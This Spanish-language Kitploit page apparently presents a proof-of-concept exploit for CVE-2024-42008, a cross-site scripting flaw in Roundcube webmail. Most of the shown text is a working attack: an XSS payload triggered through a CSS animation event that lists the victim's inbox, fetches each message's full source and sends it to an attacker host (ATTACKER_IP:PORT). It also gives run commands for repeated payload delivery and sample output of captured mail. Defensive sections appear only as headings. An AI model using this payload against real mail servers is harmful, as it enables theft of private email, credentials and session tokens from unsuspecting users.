Roundcube-CVE-2024-42008-POC — Exploit de prueba de concepto para CVE-2024-42008, una vulnerabilidad de Cross-Site Scripting en el webmail RoundCube. Entrega cargas útiles XSS a través de formularios de contacto para robar correos electrónicos, credenciales y tokens de sesión en entornos de pruebas de penetración autorizados. | Kitploit

// El payload XSS central utiliza animaciones CSS para activar JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
  // 1. Obtener la lista de correos de la Bandeja de entrada de la víctima
  fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
  .then(r=>r.text())
  .then(t=>{
    // 2. Extraer los UIDs de correo usando expresiones regulares
    [...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
      // 3. Para cada correo, obtener el código fuente completo
      fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
      .then(r=>r.text())
      .then(data=>{
        // 4. Exfiltrar los datos del correo al servidor del atacante
        fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
      })
    })
  })
; foo=bar">

# Entrega de un único payload
python cve-2024-42008-exploit.py

# Modo continuo (cada 30 segundos)
python cve-2024-42008-exploit.py -c

# Intervalo personalizado (cada 60 segundos)
python cve-2024-42008-exploit.py -c -i 60

# Modo depuración con proxy
python cve-2024-42008-exploit.py -d

[+] Escuchando en 10.10.14.209:8001 para datos exfiltrados...
[2024-07-09 10:30:15] ¡Solicitud POST enviada! Código de estado: 200

[+] 📩 Datos de correo capturados:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Contenido del correo]
--------------------------------------------------
[+] 🔥 Datos de correo guardados en emails.log

Opción	Descripción
`-d, --debug`	Activar modo depuración con soporte de proxy
`-c, --continuous`	Enviar payloads continuamente
`-i, --interval`	Intervalo entre payloads (por defecto: 30s)

Roundcube-CVE-2024-42008-POC

Más Populares

Acerca de

Impacto

Análisis del Script del Exploit

Arquitectura del Script

Desglose del Payload

Características Clave

Uso

Requisitos Previos

Uso Básico

Configuración

Opciones de Línea de Comandos

Flujo del Ataque

Detección y Mitigación

Para Defensores

Para Probadores de Penetración

Consideraciones Legales y Éticas

Referencias Técnicas

Ejemplo de Salida

Aviso Legal